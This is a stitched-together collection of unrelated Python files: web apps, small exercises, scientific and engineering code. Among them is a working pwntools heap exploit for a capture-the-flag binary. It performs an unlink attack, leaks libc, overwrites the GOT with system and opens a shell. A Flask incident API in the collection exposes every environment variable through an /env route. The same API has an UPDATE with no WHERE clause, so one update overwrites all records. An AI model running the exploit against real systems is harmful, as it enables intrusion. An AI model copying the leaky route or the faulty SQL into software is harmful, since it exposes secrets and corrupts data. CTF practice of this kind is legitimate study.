        required=False,
        label="Группа",
    )

    class Meta:
        model = Post
        fields = ("text", "group", "image")

    def clean_text(self):
        data = self.cleaned_data['text']
        if data.replace(" ", "") == "":
            raise forms.ValidationError('Это поле должно быть заполнено.')
        return data

class CommentForm(forms.ModelForm):
    class Meta:
        model = Comment
        fields = ("text",)


"""
Please note that this app does *not* demonstrate Flask best practice!

It is much better to place views, controllers, configuration
files, and the like in their own directories.
"""

import json
import os
import sqlite3

from flask import Flask, render_template, request, send_from_directory
from flask_api import FlaskAPI, status, exceptions

from werkzeug.exceptions import NotFound
from werkzeug.middleware.proxy_fix import ProxyFix

app = FlaskAPI(__name__)
app.wsgi_app = ProxyFix(app.wsgi_app)

class IncidentDAO:
    def __init__(self, db_path='db/incident.db'):
        os.makedirs('db/', exist_ok=True)
        db_exists = os.path.exists(db_path)
        # Yup...this will be local, and only to this container
        # See notes in README
        self.conn =  sqlite3.connect(db_path)
        if not db_exists:
            cur = self.conn.cursor()
            sql = """
            CREATE TABLE IF NOT EXISTS "incidents" (
            "id" TEXT NOT NULL,
            "address" TEXT NOT NULL,
            "latitude" TEXT NOT NULL,
            "longitude" TEXT NOT NULL,
            "comment"  TEXT NOT NULL,
            "event_opened" TEXT NOT NULL,
            "event_closed" TEXT NOT NULL,
            "data" TEXT NOT NULL,
            PRIMARY KEY("id")
            )
            """
            cur.execute(sql)
            self.conn.commit()

    def _extract_data(self, data):
        # This should do a full schema validation, but a schema was not provided
        try:
            inc_id = data['description']['incident_number']
            address = data['address']['address_line1']
            latitude = data['address']['latitude']
            longitude = data['address']['longitude']
            comment = data['description']['comments']
            event_opened = data['description']['event_opened']
            event_closed = data['description']['event_opened']
        except KeyError as err:
            raise ValueError(f'Invalid data structure. Missing key {err.args[0]}')

        return [inc_id, address, latitude, longitude, comment, event_opened, event_closed,
                json.dumps(data)]

    def get(self, inc_id):
        cur = self.conn.cursor()
        cur.execute('SELECT *  FROM incidents WHERE id=?', (inc_id,))
        row = cur.fetchone()
        cur.description
        if row is not None:
            return dict(zip([d[0] for d in cur.description], row))

        raise NotFound(f'No incident with given id: {inc_id}')

    def incedents(self):
        """Get *all* the incidents"""
        cur = self.conn.cursor()

        cur.execute('SELECT * FROM incidents')

        all_incedents = []

        for row in cur:
            all_incedents.append(dict(zip([d[0] for d in cur.description], row)))

        return all_incedents

    def create(self, data):
        cur = self.conn.cursor()
        fields = self._extract_data(data)

        try:
            cur.execute('INSERT INTO incidents VALUES (?, ?, ?, ?, ?, ?, ?, ?)', fields)
        except sqlite3.IntegrityError as err:
            if 'UNIQUE constraint failed: incidents.id' in err.args[0]:
                raise RuntimeError(f"Incident with given number already exists: '{fields[0]}'")
        self.conn.commit()

        return self.get(fields[0])

    def update(self, inc_id, data):
        # Check we have an incident with that ID already
        self.get(inc_id)
        fields = self._extract_data(data)

        if inc_id != fields[0]:
            raise ValueError(f'Given incident ID {inc_id}, but data contains incident id {fields[0]}')

        cur = self.conn.cursor()
        cur.execute('UPDATE incidents SET id = ?, address = ?, latitude = ?, longitude = ?, '
                    'comment = ?, event_opened = ?, event_closed = ?, data = ?', fields)
        self.conn.commit()

        return self.get(fields[0])

    def delete(self, inc_id):
        # Check we have an incident with that ID already
        self.get(inc_id)

        cur = self.conn.cursor()
        cur.execute('DELETE FROM incidents WHERE id = ?', (inc_id,))

        self.conn.commit()

# These are static routes, not part of the API
@app.route('/favicon.ico')
def favicon(): # pragma: nocover
    return send_from_directory(os.path.join(app.root_path, 'static'),
                               'favicon.ico', mimetype='image/vnd.microsoft.icon')

@app.route('/')
def home(): # pragma: nocover
    return render_template("whale_hello.html")

@app.route('/env')
def env(): # pragma: nocover
    return '<pre>\n' + json.dumps(dict(os.environ), indent=4) + '\n</pre>\n'
# End static routs

@app.route("/api/", methods=['GET', 'POST'])
def incidents():
    #NOT best practice. :)
    incedent_dao = IncidentDAO()
    if request.method == 'POST':
        try:
            return incedent_dao.create(request.data), status.HTTP_201_CREATED
        except RuntimeError as err:
            return err.args[0], status.HTTP_400_BAD_REQUEST
    elif request.method == 'GET':
        return incedent_dao.incedents()

@app.route("/api/<inc_id>", methods=['GET', 'PUT', 'DELETE'])
def incident_detail(inc_id):
    #NOT best practice. :)
    incedent_dao = IncidentDAO()
    """Retreive, update, or delete an incident"""
    if request.method == 'PUT':
        try:
            return incedent_dao.update(inc_id, request.data)
        except NotFound:
            return '', status.HTTP_404_NOT_FOUND
        except ValueError as err:
            return err.args[0], status.HTTP_400_BAD_REQUEST
    elif request.method == 'DELETE':
        try:
            incedent_dao.delete(inc_id)
        except NotFound:
            return '', status.HTTP_404_NOT_FOUND
        return '', status.HTTP_204_NO_CONTENT
    elif request.method == 'GET':
        try:
            return incedent_dao.get(inc_id)
        except NotFound:
            return '', status.HTTP_404_NOT_FOUND

if __name__ == '__main__': # pragma: nocover
    app.run(host='0.0.0.0', port=8080)


import json
with open('in.json', 'r') as x:
    file = json.load(x)
out = []
for task in file:
    userId = task['userId']
    completed = task['completed']
    selectedUser = None
    for user in out:
        if user['userId'] == userId:
            selectedUser = user
            break
    if selectedUser is None:
        selectedUser = {'userId': userId, 'task_completed': 0}
        out.append(selectedUser)
    if completed:
        selectedUser['task_completed'] += 1
with open('out.json', 'w') as x:
    x.write(json.dumps(out, indent=2))


#a, b, c, d = map(int, stdin.readline().rstrip().split())
from sys import stdin, stdout
t=int(input())
while t!=0:
	t-=1
	n,d= map(int, stdin.readline().rstrip().split())
	sumTotal=0
	a=[int(x) for x in input().split()]
	for i in range(len(a)):
		sumTotal+=a[i]
	ans=0
	f=1
	if sumTotal%n==0:
		mean=sumTotal//n
		for i in range(len(a)):
			if i+d<n:
				diff=a[i]-mean
				a[i]=mean
				a[i+d]=diff+a[i+d]
				ans+=abs(diff)
			else:
				if a[i]!=mean:
					f=0
					break
	else:
		f=0
	for i in range(len(a)-1):
		if a[i]!=a[i+1]:
			f=0
			break
	if(f==1):
		print(ans)
	else:
		print("-1")


import sys
from pygame import *

clock = time.Clock()
size = width, height = 500, 500
screen = display.set_mode(size)
display.set_caption('RK')

BLACK = 0, 0, 0
WHITE = 255, 255, 255

x0, y0 = width/2, height/2

w, h = 50, 10
k = 1.2
#rect = [x0-100, y0+10, 200, 20] # Левый верхний, ширина, высота

while 1:
    clock.tick(5)
    for e in event.get():
        if e.type == QUIT:
            quit()
            sys.exit()

    screen.fill(WHITE)
    draw.rect(screen, BLACK, [int(x0-(w/2)), int(y0-(h/2)), int(w), int(h)], 1) #draw.ellipse

    w *= k
    h *= k

    display.flip()


import copy
import importlib
import numpy as np
import os

from statestream.processes.process import STProcess
from statestream.utils.helper import is_scalar_shape

class ProcessSysClient(STProcess):
    """This is generic API for parallel clients synchronized with the core.

    In contrast to core clients, system clients run in a separate process
    instead inside the core. As np/sp/plast/if processes they respect the
    reading / writing phases triggered by the core and may have own
    parameters / variables.
    They may however not write parameters from other processes (e.g. nps)
    due to interference with plasts that might write to them.
    """
    def __init__(self, name, ident, metanet, param, client_param):
        STProcess.__init__(self, name, ident, metanet, param)
        self.type = client_param['type']
        # For system clients we also have to set the client dict.
        self.p = copy.copy(client_param)

    def initialize(self):
        """System client dependent initialization.
        """
        # Initialize system client dependent on its type.
        SysClient = getattr(importlib.import_module("statestream.system_clients." + self.type), self.type)
        self.sys_client = SysClient(self.name, self.net, self.p)

        # Set client side structure for parameters and variables.
        self.sys_client.dat['parameter'] = {}
        self.sys_client.dat['variables'] = {}
        for T in self.sys_client.dat:
            if T in self.p:
                for p,P in self.p[T].items():
                    self.sys_client.dat[T][p] = np.zeros(P['shape'])

        # Call client dependent initialization.
        self.sys_client.initialize(self.shm)

        # Get / set nps, sps.
        if hasattr(self.sys_client, 'nps'):
            self.nps = self.sys_client.nps
        else:
            self.nps = {}
        if hasattr(self.sys_client, 'sps'):
            self.sps = self.sys_client.sps
        else:
            self.nps = {}

        self.shm.update_sys_client()

    def update_frame_readin(self):
        """System client dependent read update.
        """
        if int(self.IPC_PROC["pause"][self.id]) == 0 \
                and int(self.frame_cntr) % int(self.IPC_PROC["period"][self.id]) == int(self.IPC_PROC["period offset"][self.id]):
            # Read system client's parameters.
            for p,P in self.p['parameter'].items():
                self.sys_client.dat['parameter'][p] = np.copy(self.shm.dat[self.p['name']]['parameter'][p])

            # Read necessary (all in-comming) np states / parameters.
            for n in self.nps:
                #self.nps[n].state[0].set_value(np.ascontiguousarray(self.shm.dat[n]["state"]))
                self.nps[n].state[0].set_value(np.require(self.shm.dat[n]["state"],
                                                          requirements='C')[0:self.sys_client.samples,:,:,:])
                if n == self.name:
                    for par in self.shm.dat[n]["parameter"]:
                        if is_scalar_shape(self.shm.layout[n]["parameter"][par].shape):
                            self.nps[n].dat["parameter"][par].set_value(self.shm.dat[n]["parameter"][par][0])
                        else:
                            self.nps[n].dat["parameter"][par].set_value(self.shm.dat[n]["parameter"][par])
            # Read necessary (all in-comming) sp parameters.
            for s in self.sps:
                if self.IPC_PROC["pause"][self.shm.proc_id[s][0]] == 0:
                    for par in self.shm.dat[s]["parameter"]:
                        # Check for parameter sharing.
                        source_sp = s
                        source_par = par
                        if "share params" in self.net["synapse_pools"][s]:
                            if par in self.net["synapse_pools"][s]["share params"]:
                                source_sp = self.net["synapse_pools"][s]["share params"][par][0]
                                source_par = self.net["synapse_pools"][s]["share params"][par][1]
                        if is_scalar_shape(self.shm.layout[s]["parameter"][par].shape):
                            self.sps[s].dat["parameter"][par].set_value(self.shm.dat[source_sp]["parameter"][source_par][0])
                        else:
                            self.sps[s].dat["parameter"][par].set_value(self.shm.dat[source_sp]["parameter"][source_par])
                else:
                    for par in self.shm.dat[s]["parameter"]:
                        if is_scalar_shape(self.shm.layout[s]["parameter"][par].shape):
                            self.sps[s].dat["parameter"][par].set_value(0.0 * self.shm.dat[s]["parameter"][par][0])
                        else:
                            self.sps[s].dat["parameter"][par].set_value(0.0 * self.shm.dat[s]["parameter"][par])

            # Execute system client specific read phase.
            self.sys_client.update_frame_readin(self.shm)

    def update_frame_writeout(self):
        """System client dependent write update.
        """
        # Only execute client if not in pause and if period/offset is met.
        if self.IPC_PROC["pause"][self.id] == 0 and \
                self.frame_cntr % self.IPC_PROC["period"][self.id] == self.IPC_PROC["period offset"][self.id]:
            # Execute write phase.
            self.sys_client.update_frame_writeout()
            # Write variables.
            for v,V in self.p['variables'].items():
                self.shm.set_shm([self.p['name'], 'variables', v], self.sys_client.dat['variables'][v])


# -*- coding: utf-8 -*-
"""
Created on Thu Oct  3 13:07:56 2019

@author: iw1g17
"""

def integral_1(Nstrips):
    width = 1/Nstrips
    integral=0
    for anything in range(Nstrips):
        height = (anything / Nstrips)**2
        integral = integral + width * height

    return integral

print("One Hundred strips: ", integral_1(100))


from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import datetime

def get_blockworks_news(driver: webdriver) -> list[dict]:
    output_data: list[dict] = []
    driver.get("https://blockworks.co/news/")
    articles = driver.find_elements(By.CLASS_NAME, "card")
    for article in articles:
        date_str = article.find_element(By.CLASS_NAME, "post-creation-details").text.split(" / ")[-1]
        date_str = date_str.replace(" EDT", "")
        try:
            date = datetime.datetime.strptime(date_str, "%B %d, %Y, %H:%M %p")
        except ValueError:
            continue
        output_data.append({
            "name": article.find_element(By.CLASS_NAME, "card_title").text,
            "link": article.find_element(By.TAG_NAME, "a").get_attribute("href"),
            "date": date.strftime("%Y-%m-%d"),
            "time": date.strftime("%H:%M")
        })
    return output_data

if __name__ == '__main__':
    driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
    data = get_blockworks_news(driver)
    print(data)


import random
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd

list_x = []
list_y = []
num  = 1000

while(num):
    list_x.append(random.randint(0.0,100.0))
    list_y.append(random.randint(0.0,100.0))
    num -= 1

list_x = np.asarray(list_x,dtype='int')
list_y = np.asarray(list_y,dtype='int')

train = 800
test = 200
x_train,x_test,y_train,y_test = list_x[:train],list_x[:test],list_y[:train],list_x[:test]

def accuracy(y_pred,y_test):
    print("mae :",np.abs(y_test-y_pred).mean())
    print("rmse :",(((y_test-y_pred)**2).mean())**0.5)

def gradient_descent(m_now, b_now, x, y, L):
     m_gradient = 0
     b_gradient = 0

     n = 1000

     for i in range(n):
        x = list_x[i]
        y = list_y[i]

        m_gradient += (-2/n) * x * (y - (m_now * x + b_now))
        b_gradient += (-2/n) * (y - (m_now * x + b_now))

     m = m_now - m_gradient * L
     b = b_now - b_gradient * L

     return m, b

m = 0
b = 0
L = 0.0001
epochs = 300

for i in range(epochs):
    if i%50 == 0:
        print(f"Epoch: {i}")
    m, b = gradient_descent(m, b, list_x, list_y, L)

print(m, b)
y_pred = m*x_test + b
accuracy(y_pred,y_test)
plt.scatter(list_x, list_y, color='pink')
plt.plot(list(range(0,100)), [m *x + b for x in range(0,100)], color = 'black')

from sklearn.linear_model import LinearRegression
reg = LinearRegression()

reg.fit(x_train.reshape(-1,1),y_train.reshape(-1,1))

c = reg.intercept_[0]
m = reg.coef_[0,0]

y_pred = reg.predict(x_test.reshape(-1,1))

accuracy(y_test,y_pred)
plt.scatter(list_x,list_y,c="r")
plt.plot(x_test,y_pred,c="b")


import cherrypy
from os import getcwd, environ

class Server:

    ON_HEROKU = environ.get('ON_HEROKU')

    def __init__(self, site_map):
        self.site_map = site_map
        self.tree = cherrypy.tree
        self.engine = cherrypy.engine

    def app_config(self):
        return {
            '/static': {
                "tools.staticdir.on": True,
                "tools.staticdir.dir": "%s/public" % getcwd()
            }
        }

    def build(self):
        if self.ON_HEROKU is True or self.ON_HEROKU == 'True':
            port = int(environ.get('PORT'))
        else:
            port = 8080
        cherrypy.config.update(
            {
                'server.socket_port': port,
                'server.socket_host': '0.0.0.0',
                'tools.sessions.on': True,
                'tools.staticdir.root': getcwd(),
                'engine.timeout_monitor.on': False
            }
        )
        for item in self.site_map:
            app = self.site_map[item]()
            self.tree.mount(app, item, self.app_config())

    def start(self):
        self.engine.start()
        self.engine.block()


from .database import DataBase

keyname = 'OMIM'
alternative_keynames = []

class OMIM(DataBase):

    def __init__(self, id=None):

        self.database = keyname
        self.database = 'OMIM'
        self.id = id
        self.web = 'https://www.omim.org/'
        self.webid = 'https://www.omim.org/entry/{self.id}'
        self.info = 'Online Mendelian Inheritance in Man'


#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./bamboobox")
	elf = ELF("./bamboobox")
else:
	p = remote("node3.buuoj.cn",28435)
	elf = ELF("./bamboobox")

def menu(choice):
	ru(":")
	sl(str(choice))

def show():
	menu(1)

def add(size,content):
	menu(2)
	ru(":")
	sl(str(size))
	ru(":")
	sl(content)

def change(idx,size,content):
	menu(3)
	ru("of item:")
	sl(str(idx))
	ru("item name:")
	sl(str(size))
	ru("the item:")
	sl(content)

def remove(idx):
	menu(4)
	sla("Please enter the index of item:",str(idx))

puts_plt = elf.got['puts']
atoi_got = elf.got["atoi"]
ptr = 0x6020C8
fake_FD = ptr - 0x18
fake_BK = ptr - 0x10

###unlink###
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
add(0x80,'cccc')#2

payload = p64(0) + p64(0x81) + p64(fake_FD) + p64(fake_BK)
payload = payload.ljust(0x80,'A')
payload+= p64(0x80) + p64(0x90)

change(0,0x90,payload)
remove(1)
#gdb.attach(p)

###leak libc###
payload = p64(0) + p64(0) + p64(0x80) + p64(atoi_got)
change(0,len(payload),payload)
show()

ru(": ")
atoi = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
libc = LibcSearcher('atoi',atoi)
libc_base = atoi - libc.dump('atoi')
system = libc_base + libc.dump('system')

###modify GOT###
change(0,0x8,p64(system))

###get shell###
sl("/bin/sh\x00")
ia()


titulo = 'Caixa Eletrônico'
'''
Data: 07/03/2023
Autor: Felipe
Descrição: A partir de um valor, informa o usuário
o menor número de cédulas que ele precisa sacar
'''
print('Bem vindo ao programa ' + titulo)

print('Por favor, informe quanto você quer sacar')

valor = int(input())

cedulas_200 = valor // 200
valor = valor - cedulas_200*200
cedulas_100 = valor // 100
valor = valor - cedulas_100*100
cedulas_50 = valor // 50
valor = valor - cedulas_50*50
cedulas_20 = valor // 20
valor = valor - cedulas_20*20
cedulas_10 = valor // 10
valor = valor - cedulas_10*10
cedulas_5 = valor // 5
valor = valor - cedulas_5*5
cedulas_2 = valor // 2
valor = valor - cedulas_2*2
cedulas_1 = valor
total = (cedulas_200 * 200) +\
    (cedulas_100 * 100) + (cedulas_50 * 50) +\
    (cedulas_20 * 20) + (cedulas_10 * 10) +\
    (cedulas_5 * 5) + (cedulas_2 * 2) +\
    cedulas_1

print('Valor informado: R$' + str(total) + ',00')
if cedulas_200 > 0:
    print('Cedulas de R$200,00 : ' + str(cedulas_200))
if cedulas_100 > 0:
    print('Cedulas de R$100,00 : ' + str(cedulas_100))
if cedulas_50 > 0:
    print('Cedulas de R$50,00 : ' + str(cedulas_50))
if cedulas_20 > 0:
    print('Cedulas de R$20,00 : ' + str(cedulas_20))
if cedulas_10 > 0:
    print('Cedulas de R$10,00 : ' + str(cedulas_10))
if cedulas_5 > 0:
    print('Cedulas de R$5,00 : ' + str(cedulas_5))
if cedulas_2 > 0:
    print('Cedulas de R$2,00 : ' + str(cedulas_2))
if cedulas_1 > 0:
    print('Cedulas de R$1,00 : ' + str(cedulas_1))

2 - Estrutura Condicional/Lista_2_EX_8.py


# enable default 1D tester for this module
from opensees.physical_properties.utils.tester.EnableTester1D import *
from opensees.utils.override_utils import get_function_from_module

import PyMpc.Units as u
from PyMpc import *
from mpc_utils_html import *
import opensees.utils.tcl_input as tclin

def makeXObjectMetaData():

	def mka(name, group, descr, atype, adim = None, dval = None):
		a = MpcAttributeMetaData()
		a.type = atype
		a.name = name
		a.group = group
		a.description = (
			html_par(html_begin()) +
			html_par(html_boldtext(name)+'
') +
			html_par(descr) +
			html_par(html_href('https://asdeasoft.net/?stko-support','DamageTC1D')+'
') +
			html_end()
			)
		if adim is not None:
			a.dimension = adim
		if dval is not None:
			a.setDefault(dval)
		return a

	E = mka("E", "Elasticity", "Young's modulus", MpcAttributeType.QuantityScalar, adim=u.F/u.L**2)
	ft = mka("ft", "Tension", "Tensile strength", MpcAttributeType.QuantityScalar, adim=u.F/u.L**2)
	Gt = mka("Gt", "Tension", ("Tensile fracture energy.
"
		"It should be per unit area, and it will be automatically regularized "
		"if the flag autoRegularization is set to True (Default).
"
		"Otherwise it should be input as specific fracture energy (per unit volume)."),
		MpcAttributeType.QuantityScalar, adim=u.F/u.L)
	fc0 = mka("fc0", "Compression", "Compressive elastic limit", MpcAttributeType.QuantityScalar, adim=u.F/u.L**2)
	fcp = mka("fcp", "Compression", "Compressive peak strength", MpcAttributeType.QuantityScalar, adim=u.F/u.L**2)
	fcr = mka("fcr", "Compression", "Compressive residual strength", MpcAttributeType.QuantityScalar, adim=u.F/u.L**2)
	ep = mka("ep", "Compression", "Compressive strain at peak strength", MpcAttributeType.Real)
	Gc = mka("Gc", "Compression", ("Compressive fracture energy.
"
		"It should be per unit area, and it will be automatically regularized "
		"if the flag autoRegularization is set to True (Default).
"
		"Otherwise it should be input as specific fracture energy (per unit volume)."),
		MpcAttributeType.QuantityScalar, adim=u.F/u.L)
	c1  = mka("c1", "Compression", "Compressive law shape parameter", MpcAttributeType.Real, dval=0.65)
	c2  = mka("c2", "Compression", "Compressive law shape parameter", MpcAttributeType.Real, dval=0.50)
	c3  = mka("c3", "Compression", "Compressive law shape parameter", MpcAttributeType.Real, dval=1.50)
	eta  = mka("eta", "Misc", "Viscosity parameter", MpcAttributeType.Real, dval=0.0)
	pdf_t = mka("pdf_t", "Misc", "Plastic-Damage factor for tensile response in range [0 (full damage) ... (mixed) ... 1 (full plasticity)]", MpcAttributeType.Real, dval=0.0)
	pdf_c = mka("pdf_c", "Misc", "Plastic-Damage factor for compressive response in range [0 (full damage) ... (mixed) ... 1 (full plasticity)]", MpcAttributeType.Real, dval=0.7)
	algo = mka("integration", "Misc", ("Inegration type.
"
		"(Default) Implicit: A standard Backward-Euler integration scheme.
"
		"IMPL-EX: A mixed IMPLicit-EXplicit integration scheme. The resulting response is "
		"step-wise linear with a positive-definite tangent stiffnes matrix due to the explicit extrapolation of the internal variables.
"
		"However the time-step should be smaller than the one used for an implicit scheme"),
		MpcAttributeType.String, dval="Implicit")
	algo.sourceType = MpcAttributeSourceType.List
	algo.setSourceList(['Implicit', 'IMPL-EX'])
	implex_check = mka("implexCheckError", "Misc", "Check the IMPL-EX error making sure it is kept under a user-defined tolerance", MpcAttributeType.Boolean, dval=False)
	implex_tol = mka("implexErrorTolerance", "Misc", "The maximum allowed relative IMPL-EX error", MpcAttributeType.Real, dval=0.05)
	implex_red = mka("implexErrorTimeReductionLimit", "Misc", "The pseudo-time-step reduction limit under which the implex error check is not performed", MpcAttributeType.Real, dval=0.01)
	reg = mka("autoRegularization", "Misc", ("When this flag is True (Default), the input fracture energies (Gt and Gc) "
		"will be divided by the element characteristic length, in order to obtain a response which is mesh-size independent.
"
		"If turn this flag Off, the input fracture energies will be used as they are."),
		MpcAttributeType.Boolean, dval=True)
	ctype = mka("constitutiveTensorType", "Misc", ("Constitutive Tensor Tyope.
"
		"(Default) Tangent: The algorithmic tangent tensor.
"
		"TangentPerturbation: The algorithmic tangent tensor computed with numerical differentiation.
"
		"Secant: The secant tensor.
"),
		MpcAttributeType.String, dval="Tangent")
	ctype.sourceType = MpcAttributeSourceType.List
	ctype.setSourceList(['Tangent', 'TangentPerturbation', 'Secant'])

	xom = MpcXObjectMetaData()
	xom.name = 'DamageTC1D'
	xom.Xgroup = 'ASDEASoftware'
	# Elasticity
	xom.addAttribute(E)
	# Tension
	xom.addAttribute(ft)
	xom.addAttribute(Gt)
	# Compression
	xom.addAttribute(fc0)
	xom.addAttribute(fcp)
	xom.addAttribute(fcr)
	xom.addAttribute(ep)
	xom.addAttribute(Gc)
	xom.addAttribute(c1)
	xom.addAttribute(c2)
	xom.addAttribute(c3)
	# Misc
	xom.addAttribute(eta)
	xom.addAttribute(pdf_t)
	xom.addAttribute(pdf_c)
	xom.addAttribute(algo)
	xom.addAttribute(implex_check)
	xom.addAttribute(implex_tol)
	xom.addAttribute(implex_red)
	xom.addAttribute(reg)
	xom.addAttribute(ctype)

	return xom

def _check_implex(xobj):
	is_implex = xobj.getAttribute('integration').string == 'IMPL-EX'
	xobj.getAttribute('implexCheckError').visible = is_implex
	xobj.getAttribute('implexErrorTolerance').visible = is_implex

_onEditBegin = get_function_from_module(__name__, 'onEditBegin')
def onEditBegin(editor, xobj):
	if _onEditBegin: _onEditBegin(editor, xobj)
	_check_implex(xobj)

def onAttributeChanged(editor, xobj, attribute_name):
	if attribute_name == 'integration':
		_check_implex(xobj)

def writeTcl(pinfo):

	xobj = pinfo.phys_prop.XObject
	tag = xobj.parent.componentId

	# utils
	def geta(name):
		at = xobj.getAttribute(name)
		if at is None:
			raise Exception('Error: cannot find "{}" attribute'.format(name))
		return at

	def getCtype(value):
		if value == 'TangentPerturbation':
			return 1
		elif value == 'Secant':
			return 2
		else:
			return 0

	# get parameters
	params = ([
		('E', geta('E').quantityScalar.value),
		('ft', geta('ft').quantityScalar.value),
		('Gt', geta('Gt').quantityScalar.value),
		('fc0', geta('fc0').quantityScalar.value),
		('fcp', geta('fcp').quantityScalar.value),
		('fcr', geta('fcr').quantityScalar.value),
		('ep', geta('ep').real),
		('Gc', geta('Gc').quantityScalar.value),
		('c1', geta('c1').real),
		('c2', geta('c2').real),
		('c3', geta('c3').real),
		('eta', geta('eta').real),
		('pdf_t', geta('pdf_t').real),
		('pdf_c', geta('pdf_c').real),
		('implex', (0 if geta('integration').string == 'Implicit' else 1)),
		('implexCheckError', (1 if geta('implexCheckError').boolean else 0)),
		('implexErrorTolerance', geta('implexErrorTolerance').real),
		('implexErrorTimeReductionLimit', geta('implexErrorTimeReductionLimit').real),
		('autoRegularization', (1 if geta('autoRegularization').boolean else 0)),
		('constitutiveTensorType', getCtype(geta('constitutiveTensorType').string))
	])

	# todo: pre check parameters

	# now write the string into the file
	pinfo.out_file.write(
		'{}uniaxialMaterial plugin {} pdm DamageTC1D {}\n'.format(
			pinfo.indent, tag,
			' '.join( ['-{} {}'.format(item[0], item[1]) for item in params] ))
		)


import os
import signal
import sys
from collections import defaultdict

# Maps map the rule_name : organization_name : violation_count
warning_design_rule_to_occurrence = defaultdict(lambda: defaultdict(lambda: 0))
error_design_rule_to_occurrence = defaultdict(lambda: defaultdict(lambda: 0))
organization_name_to_specs = defaultdict(lambda: 1)

def design_rule_to_occurrence_index(organization_name, output):
    for line in output.split('\n'):
        tokens = line.split()
        if len(tokens) < 3:
            continue

        type = tokens[1]
        rule_name = tokens[2]

        # Record metrics
        if type == "warning":
            warning_design_rule_to_occurrence[rule_name][organization_name] += 1
        elif type == "error":
            error_design_rule_to_occurrence[rule_name][organization_name] += 1

def dfs(cur_dir_tokens):

    # Iterate through all files in the current directory.
    for filename in os.listdir(os.path.join("", *cur_dir_tokens)):

        # Skip files that are redundant.
        if filename in {".", ".."}:
            continue

        # Construct the absolute path to the file that's being iterated on.
        next_dir_tokens = cur_dir_tokens + [filename]
        next_dir_str = os.path.join("", *next_dir_tokens)

        # If this file is a directory, then it should be recursed on.
        if os.path.isdir(next_dir_str):
            dfs(next_dir_tokens)

        # If this is a yaml file, it is likely a spec. We should run the linter on it.
        elif filename.endswith(".yaml"):
            print(next_dir_str)

            # This file is extremely large and causes the program to hang. Ignore it.
            if next_dir_str == "./beezup.com/2.0/openapi.yaml":
                continue
            stream = os.popen(f"spectral lint {next_dir_str}")
            output = stream.read()
            if len(cur_dir_tokens) >= 2:
                organization_name = cur_dir_tokens[1]
                organization_name_to_specs[organization_name] += 1

                # Get the actual metrics
                design_rule_to_occurrence_index(organization_name, output)

def flush_to_csv(file_name, data_map):
    import csv

    with open(file_name, 'w') as f:

        # create the csv writer
        writer = csv.writer(f)
        writer.writerow(["name", "organization_name", "occurrences"])

        for tag in data_map.keys():
            for organization_name in data_map[tag]:
                violations = data_map[tag][organization_name]/organization_name_to_specs[organization_name]
                writer.writerow([tag, organization_name, violations])

def flush_data():
    flush_to_csv("./warnings.csv", warning_design_rule_to_occurrence)
    flush_to_csv("./errors.csv", error_design_rule_to_occurrence)

def signal_handler(signal, frame):
     # join all processes
    flush_data()
    sys.exit(0)

if __name__ == "__main__":
    # Register signal handler
    signal.signal(signal.SIGINT, signal_handler)

    dfs(['.'])
    flush_data()


# Author: 海子
# Create Time: 2021/11/28
# FileName: image_grab
# Descriptions:
import cv2 as cv
import numpy as np

img = cv.imread("../picture/0001.jpg")
roi = cv.selectROI(windowName="roi", img=img, showCrosshair=True, fromCenter=False)
x, y, w, h = roi
x1 = x
y1 = y
x2 = x + w
y2 = y + h
print(x, y, w, h)
cv.imshow("draw_roi", roi)
image_roi1 = img[y1:y2, x1:x2]
cv.imshow("image_roi1", image_roi1)
mask = np.zeros(img.shape, np.uint8)
mask[y1:y2, x1:x2] = 255
cv.imshow("mask", mask)
image_roi2 = cv.bitwise_and(img, mask)
cv.imshow("image_roi2", image_roi2)

cv.waitKey(0)
cv.destroyAllWindows()


import numpy as np
import openmdao.api as om
from scipy.interpolate import interp2d

class failureComp(om.ExplicitComponent):
    def initialize(self):
        self.options.declare('num_nodes', types=int,
                             desc='Number of nodes to be evaluated in the RHS')

    def setup(self):

        nn = self.options['num_nodes']
        # Inputs
        self.add_input("time_phase", units='s', val=np.ones(nn))
        self.add_input('slope', units=None, val=1.0)
        self.add_output('Pfail', val=np.ones(nn), desc='derivative of base failure rate', units='1.0/s')

        # Setup partials
        arange = np.arange(nn)
        self.declare_partials(of="Pfail", wrt="time_phase", rows=arange, cols=arange)

    def compute(self, inputs, outputs):

        time = inputs["time_phase"]
        a = inputs["slope"]
        outputs['Pfail'] = time+1/a*np.exp(-a*time)

    def compute_partials(self, inputs, partials):

        time = inputs["time_phase"]
        a = inputs["slope"]

        partials["Pfail", "time_phase"] = 1-np.exp(-a*time)

class TimeAverage(om.ExplicitComponent):
    def initialize(self):
        self.options.declare('state_nodes', types=int,
                             desc='Number of state nodes to be evaluated in the RHS')

        self.options.declare('control_nodes', types=int,
                             desc='Number of control nodes to be evaluated in the RHS')

    def setup(self):

        n_state = self.options['state_nodes']
        n_control = self.options['control_nodes']
        # Inputs
        self.add_input('x', val=np.zeros(n_state), desc='velocity', units='rad/s')
        self.add_input('u', val=np.ones(n_control), desc='control', units=None)
        self.add_output('Fomega', val=1.0, desc='omega dependent failure', units=None)
        self.add_output('Fu', val=1.0, desc='u dependent failure', units=None)

        # Setup partials
        self.declare_partials(of="Fomega", wrt="x", method="fd")
        self.declare_partials(of="Fu", wrt="u", method="fd")

    def compute(self, inputs, outputs):

        om = inputs['x']
        u = inputs['u']

        # Find mean values for failure rate coefficients
        omM = np.mean(om)
        uM = np.mean(u)

        omD = 25
        uD = 800

        # Failure rate coefficients
        Fom = 1 + np.power((omM/omD),0.7)
        Fu = np.power((0.5*uM/uD),4.69)

        outputs["Fomega"] = Fom
        outputs["Fu"] = Fu

class TechnoEco(om.ExplicitComponent):

    def setup(self):

        # Inputs

        self.add_input('Fomega', val=1.0)
        self.add_input('Fu', val=1.0)
        self.add_input('Pfail', val=1.0)
        self.add_input('Egen', val=1.0)

        self.add_output('LCOE', val=0.5, desc='levelized cost of energy', units=None)
        # Setup partials
